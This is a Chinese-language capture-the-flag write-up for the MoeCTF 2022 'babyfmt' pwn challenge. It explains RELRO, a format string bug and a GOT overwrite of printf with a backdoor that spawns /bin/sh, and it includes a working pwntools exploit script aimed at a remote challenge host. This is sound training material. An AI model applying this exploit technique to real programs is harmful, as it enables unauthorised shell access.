【pwn】[MoeCTF 2022]babyfmt --格式化字符串漏洞,got表劫持
拿到程序,先checksec一下
发现是Partial RELRO,got表可修改
当RELRO保护为NO RELRO的时候,init.array、fini.array、got.plt均可读可写;为PARTIAL RELRO的时候,ini.array、fini.array可读不可写,got.plt可读可写;为FULL RELRO时,init.array、fini.array、got.plt均可读不可写。
然后看主函数
主函数这边逻辑还是比较简单的,while循环前面的代码可以不用理,直接看while循环里面的代码,read函数明显存在栈溢出漏洞,并且下一个printf存在格式化字符串漏洞,同时看左边函数列表,给出了backdoor函数,点进去,看一下
int backdoor()
{
return system("/bin/sh");
}
可见,backdoor函数可以getshell
现在这道题思路可以是修改printf函数的got表里面的内容,修改成backdoor函数地址,然后while循环下一次执行printf函数时,程序就会去执行backdoor函数,实现getshell
这道题可以利用pwntools的fmtstr_payload函数,第一个参数为数据距离格式化字符串的偏移,第二个参数为字典{pirntf_got:addr},攻击载荷pwntools已经为我们填好,可以直接使用
exp:
from pwn import *
context(os='linux',arch='i386',log_level='debug')
io=remote("node5.anna.nssctf.cn",28247)
elf=ELF("./pwn")
printf_got=elf.got['printf']
shell=elf.symbols["backdoor"]
payload=fmtstr_payload(11,{printf_got:shell})
io.sendline(payload)
io.interactive()